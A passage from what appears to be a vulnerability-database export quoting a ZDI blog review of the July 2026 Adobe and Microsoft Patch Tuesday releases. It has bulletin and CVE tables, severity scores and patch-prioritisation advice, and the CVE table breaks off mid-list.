filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:27.349844Z"}, {"uuid": "d8c3814b-dde4-41a7-99a8-9bdc9e5666cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54115", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  